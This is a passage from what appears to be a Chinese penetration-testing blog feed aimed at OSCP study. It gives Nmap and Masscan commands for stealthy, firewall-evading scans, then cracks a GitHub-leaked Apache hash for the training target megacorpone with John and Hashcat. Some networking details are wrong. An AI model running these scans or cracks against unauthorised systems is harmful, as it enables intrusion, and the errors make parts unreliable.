&lt;li&gt;&lt;code&gt;-p-&lt;/code&gt;：扫描 1-65535 所有端口。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--script=vuln&lt;/code&gt;：运行漏洞检测脚本（如 &lt;code&gt;http-vuln*&lt;/code&gt;, &lt;code&gt;smb-vuln*&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;耗时&lt;/strong&gt;：较长（约 30-60 分钟），但信息全面。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-隐蔽扫描避免触发告警"&gt;3. &lt;strong&gt;隐蔽扫描（避免触发告警）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -T2 -sS -Pn --scan-delay 1s --randomize-hosts 38.100.193.70
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-T2&lt;/code&gt;：慢速模式（降低流量特征）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-Pn&lt;/code&gt;：跳过主机发现（假设目标在线）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--scan-delay 1s&lt;/code&gt;：每个包间隔 1 秒。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--randomize-hosts&lt;/code&gt;：随机扫描顺序。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;：规避基础 IDS/防火墙检测。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-udp-关键服务扫描"&gt;4. &lt;strong&gt;UDP 关键服务扫描&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -sU -p 53,67,68,123,161,162 38.100.193.70
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;扫描 DNS（53）、DHCP（67/68）、NTP（123）、SNMP（161/162）等关键 UDP 服务。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优化&lt;/strong&gt;：避免全端口 UDP 扫描（耗时过长）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="5-web-专项扫描"&gt;5. &lt;strong&gt;Web 专项扫描&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -p 80,443,8080 --script=http-title,http-enum,http-shellshock 38.100.193.70
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;探测 HTTP 服务标题、目录枚举、Shellshock 漏洞。&lt;/li&gt;
&lt;li&gt;可结合 &lt;code&gt;gobuster&lt;/code&gt; 或 &lt;code&gt;nikto&lt;/code&gt; 进行深度扫描。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="6-防火墙绕过扫描"&gt;6. &lt;strong&gt;防火墙绕过扫描&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -f --mtu 24 -D RND:10 -g 53 --proxies socks4://proxy_ip:1080 38.100.193.70
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-f&lt;/code&gt;：分片数据包。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-D RND:10&lt;/code&gt;：添加 10 个随机诱饵 IP。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-g 53&lt;/code&gt;：伪装源端口为 DNS（53）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--proxies&lt;/code&gt;：通过代理扫描。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;：绕过防火墙/IP 封禁。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="nmap-常用技巧"&gt;&lt;strong&gt;Nmap 常用技巧&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;保存输出：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nmap -oN report.txt -oX report.xml 38.100.193.70 # 文本/XML 格式
nmap -oG - 38.100.193.70 | grep &amp;#34;open&amp;#34; # 提取开放端口
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;对比扫描结果：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ndiff scan1.xml scan2.xml # 检测目标变化
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;搜索 NSE 脚本：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ls /usr/share/nmap/scripts/*http* # 查找 HTTP 相关脚本
nmap --script-help=http-vuln* # 查看脚本帮助
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250706233158729" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px"&gt;&lt;/p&gt;
&lt;h3 id="推荐进阶组合命令"&gt;&lt;strong&gt;推荐进阶组合命令&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-高效主机发现--服务扫描"&gt;1. &lt;strong&gt;高效主机发现 + 服务扫描&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 先快速发现存活主机
nmap -sn 38.100.193.70-254 -oG live_hosts.txt

# 提取IP后扫描TOP100端口
grep Up live_hosts.txt | cut -d&amp;#34; &amp;#34; -f2 &amp;gt; targets.txt
nmap -sT -A --top-ports 100 -iL targets.txt -oA full_scan
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250706233301011" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250706233301011.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250706233411089" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250706233411089.png"&gt;&lt;/p&gt;
&lt;h4 id="2-隐蔽式主机发现避开防火墙"&gt;2. &lt;strong&gt;隐蔽式主机发现（避开防火墙）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;nmap -Pn -sn --disable-arp-ping --packet-trace \
--scan-delay 2s 38.100.193.0/24
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-Pn&lt;/code&gt;：跳过主机发现（假设所有主机在线）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--disable-arp-ping&lt;/code&gt;：禁用ARP探测&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--packet-trace&lt;/code&gt;：显示发送的数据包&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-关键服务快速定位"&gt;3. &lt;strong&gt;关键服务快速定位&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;nmap -p21,22,80,443,3389 -sT --open 38.100.193.70-254 -oG key_services.txt
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--open&lt;/code&gt;：仅显示开放端口&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目标端口&lt;/strong&gt;：FTP/SSH/Web/RDP等核心服务&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="实用技巧"&gt;&lt;strong&gt;实用技巧&lt;/strong&gt;
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 1. 将扫描结果导入Metasploit
cat top-port-sweep.txt | awk &amp;#39;/Up/{print $2}&amp;#39; &amp;gt; hosts.txt
msfconsole -qx &amp;#34;db_import hosts.txt; services&amp;#34;

# 2. 生成拓扑图（需Nmap编译图形支持）
nmap -sn --traceroute --packet-trace 38.100.193.0/24 -oX netmap.xml
xsltproc netmap.xml -o topology.html
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="masscan快速网络扫描"&gt;Masscan快速网络扫描
&lt;/h2&gt;&lt;p&gt;为扫描整个互联网而设计，六分钟扫描整个互联网，每秒发送一千万个包，masscan实现了自定义的tcp/ip栈堆需要使用sudo权限。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo apt install masscan 
sudo masscan -p80 192.168.1.0/8 
sudo macscan -p80 192.168.1.0/24 --rate=1000 -e tap0 --router -ip 192.168.1.1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250706233730376" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250706233730376.png"&gt;&lt;/p&gt;
&lt;h3 id="命令解析-1"&gt;命令解析
&lt;/h3&gt;&lt;h4 id="1"&gt;&lt;strong&gt;1. &lt;code&gt;sudo masscan -p80 192.168.1.0/8&lt;/code&gt;&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;作用&lt;/strong&gt;：对&lt;strong&gt;超大型网络&lt;/strong&gt;进行快速端口扫描&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;关键参数：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-p80&lt;/code&gt;：只扫描80端口（HTTP服务）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;192.168.1.0/8&lt;/code&gt;：扫描整个B类私有网络（&lt;code&gt;192.0.0.0&lt;/code&gt; - &lt;code&gt;192.255.255.255&lt;/code&gt;），包含 &lt;strong&gt;1677万台主机&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;执行流程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;不进行主机发现，直接扫描目标端口&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;通过SYN扫描发送TCP SYN包到目标80端口&lt;/li&gt;
&lt;li&gt;收到SYN/ACK响应则标记为开放&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;风险：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;扫描范围过大可能导致网络拥塞&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;可能触发大规模安全告警&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2"&gt;&lt;strong&gt;2. &lt;code&gt;sudo masscan -p80 192.168.1.0/24 --rate=1000 -e tap0 --router-ip 192.168.1.1&lt;/code&gt;&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;作用&lt;/strong&gt;：对特定子网进行精确控制的扫描&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;修正&lt;/strong&gt;：应为&lt;code&gt;masscan&lt;/code&gt;（非macscan）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;关键参数：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-p80&lt;/code&gt;：扫描80端口&lt;/li&gt;
&lt;li&gt;&lt;code&gt;192.168.1.0/24&lt;/code&gt;：扫描C类子网（254个主机）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--rate=1000&lt;/code&gt;：限速1000包/秒&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-e tap0&lt;/code&gt;：使用特定虚拟网络接口&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--router-ip 192.168.1.1&lt;/code&gt;：指定网关IP用于ARP解析&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;执行流程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;向网关192.168.1.1发送ARP请求&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;获取目标主机MAC地址&lt;/li&gt;
&lt;li&gt;通过tap0接口发送定制SYN包&lt;/li&gt;
&lt;li&gt;严格按1000包/秒速率扫描&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="masscan-核心优势"&gt;Masscan 核心优势
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;特性&lt;/th&gt;
 &lt;th&gt;Masscan&lt;/th&gt;
 &lt;th&gt;Nmap&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;扫描速度&lt;/td&gt;
 &lt;td&gt;100万包/秒&lt;/td&gt;
 &lt;td&gt;数千包/秒&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;大型网络处理&lt;/td&gt;
 &lt;td&gt;内置分片处理&lt;/td&gt;
 &lt;td&gt;需要手动分割&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;资源消耗&lt;/td&gt;
 &lt;td&gt;低内存占用&lt;/td&gt;
 &lt;td&gt;较高内存占用&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;扫描精度&lt;/td&gt;
 &lt;td&gt;端口状态检测&lt;/td&gt;
 &lt;td&gt;完整协议栈交互&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;隐蔽性&lt;/td&gt;
 &lt;td&gt;无状态扫描&lt;/td&gt;
 &lt;td&gt;有状态检测&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="masscan-实用用法示例"&gt;Masscan 实用用法示例
&lt;/h3&gt;&lt;h4 id="1-基础扫描"&gt;1. 基础扫描
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 扫描单个IP的TOP100端口
sudo masscan 203.0.113.1 -p0-65535 --top-ports 100

# 扫描网段的多端口（HTTP/HTTPS）
sudo masscan 192.168.1.0/24 -p80,443,8000-8100
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="2-精准速率控制"&gt;2. 精准速率控制
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 限制扫描速率（避免触发防火墙）
sudo masscan 10.0.0.0/16 -p22 --rate=500 # 500包/秒

# 随机化扫描顺序
sudo masscan 192.168.0.0/24 -p80 --randomize-hosts
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="3-大型网络扫描优化"&gt;3. 大型网络扫描优化
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 分布式扫描（多文件分片）
sudo masscan 172.16.0.0/12 -p443 --shard 1/10 # 第1/10片段
sudo masscan 172.16.0.0/12 -p443 --shard 2/10 # 第2/10片段

# 保存/恢复扫描进度
sudo masscan -p80 10.0.0.0/8 -oJ scan.json --resume paused.conf
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="4-结果输出与处理"&gt;4. 结果输出与处理
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# XML格式输出（兼容Nmap工具）
sudo masscan 192.168.1.0/24 -p1-100 -oX scan.xml

# 提取开放端口IP
sudo masscan -p443 203.0.113.0/24 -oG - | grep &amp;#39;open&amp;#39; | awk &amp;#39;{print $4}&amp;#39;

# 生成可视化报告
masscan -p80 192.168.1.0/24 -oX scan.xml
nmap-parse-output scan.xml html &amp;gt; report.html
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="5-绕过防火墙技巧"&gt;5. 绕过防火墙技巧
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 伪装源端口（使用53端口发送）
sudo masscan -p80 203.0.113.0/24 --source-port 53

# 使用代理链扫描
proxychains masscan -p443 198.51.100.0/24

# 分片数据包
sudo masscan -p22 192.168.1.0/24 --mtu 512
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="使用场景对比"&gt;使用场景对比
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;场景&lt;/th&gt;
 &lt;th&gt;推荐命令&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;快速资产发现&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;masscan -p80,443 10.0.0.0/8 --rate=10000&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;精确服务扫描&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;nmap -sV -O 192.168.1.1-100&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;超大型网络端口普查&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;masscan 203.0.113.0/24 --shard 1/50&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;内网隐蔽扫描&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;nmap -T2 -sS -Pn --scan-delay 500ms&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="注意事项"&gt;注意事项
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;法律合规&lt;/strong&gt;：扫描前必须获得明确授权&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;带宽控制&lt;/strong&gt;：使用&lt;code&gt;--rate&lt;/code&gt;参数避免网络瘫痪&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结果验证&lt;/strong&gt;：Masscan结果需用Nmap二次验证&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;持久扫描&lt;/strong&gt;：大型网络使用&lt;code&gt;--resume&lt;/code&gt;保存进度&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;更新数据库&lt;/strong&gt;：定期&lt;code&gt;apt update &amp;amp;&amp;amp; apt upgrade masscan&lt;/code&gt;获取最新指纹库&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day17 Kali开源信息收集</title><link>https://ruajingjing.top/post/day17-kali%E5%BC%80%E6%BA%90%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/</link><pubDate>Fri, 30 May 2025 14:54:26 +0000</pubDate><guid>https://ruajingjing.top/post/day17-kali%E5%BC%80%E6%BA%90%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day17 Kali开源信息收集" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;上一篇文章中，我们用google语法搜索了Github上的该公司的员工信息&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;site:github.com &amp;#34;megacorpone.com&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250530091800906" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530091800906.png"&gt;&lt;/p&gt;
&lt;p&gt;找到网页 &lt;a class="link" href="https://github.com/megacorpone" target="_blank" rel="noopener"
 &gt;https://github.com/megacorpone&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250530091825268" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530091825268.png"&gt;&lt;/p&gt;
&lt;p&gt;找到文件&lt;code&gt;megacorpone/xampp.users&lt;/code&gt; 发现疑似密码字段&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250530091913811" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530091913811.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;trivera:&lt;span class="nv"&gt;$apr1$A0vSKwao$GV3sgGAj53j&lt;/span&gt;.c3GkS4oUC0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="密码破解与爆破"&gt;密码破解与爆破
&lt;/h2&gt;&lt;h3 id="-一哈希结构分析"&gt;🔍 一、哈希结构分析
&lt;/h3&gt;&lt;p&gt;加密字符串格式为：
&lt;code&gt;trivera:$apr1$A0vSKwao$GV3sgGAj53j.c3GkS4oUC0&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;$apr1$&lt;/code&gt;：标识 Apache 特定的 MD5 算法变种（加盐迭代）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;A0vSKwao&lt;/code&gt;&lt;/strong&gt;：8字符盐值（Salt）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;GV3sgGAj...&lt;/code&gt;&lt;/strong&gt;：实际哈希值&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="-二kali-破解方法"&gt;⚙️ 二、Kali 破解方法
&lt;/h3&gt;&lt;h4 id="方法-1john-the-ripper推荐"&gt;方法 1：John the Ripper（推荐）
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;步骤&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;创建哈希文件&lt;code&gt;hash.txt&lt;/code&gt;，内容为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;trivera:&lt;span class="nv"&gt;$apr1$A0vSKwao$GV3sgGAj53j&lt;/span&gt;.c3GkS4oUC0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;启动破解（自动识别&lt;code&gt;apr1&lt;/code&gt;格式）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;john --format&lt;span class="o"&gt;=&lt;/span&gt;md5crypt-long hash.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 或显式指定格式&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;john --format&lt;span class="o"&gt;=&lt;/span&gt;apr1 hash.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;使用字典加速（如 Kali 内置&lt;code&gt;rockyou.txt&lt;/code&gt;）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;john --wordlist&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt hash.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250530094321163" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530094321163.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查看结果：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;john --show hash.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 输出示例：trivera:password123&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="image-20250530094538062" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530094538062.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250530094614454" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530094614454.png"&gt;&lt;/p&gt;
&lt;p&gt;爆破得到密码&lt;code&gt;trivera:Tanya4life&lt;/code&gt;可能是ssh登录的。&lt;/p&gt;
&lt;h4 id="方法-2hashcatgpu-加速"&gt;方法 2：Hashcat（GPU 加速）
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;提取哈希部分（移除用户名和盐标识）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;$apr1$A0vSKwao$GV3sgGAj53j.c3GkS4oUC0&amp;#39;&lt;/span&gt; &amp;gt; hash.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;启动破解（&lt;code&gt;-m 1600&lt;/code&gt;对应&lt;code&gt;apr1&lt;/code&gt;模式）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;hashcat -m &lt;span class="m"&gt;1600&lt;/span&gt; -a &lt;span class="m"&gt;0&lt;/span&gt; hash.txt /usr/share/wordlists/rockyou.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查看结果：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;hashcat --show -m &lt;span class="m"&gt;1600&lt;/span&gt; hash.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="-三性能优化技巧"&gt;⚡ 三、性能优化技巧
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;字典选择&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;优先使用&lt;code&gt;rockyou.txt&lt;/code&gt;（需解压）：&lt;/p&gt;
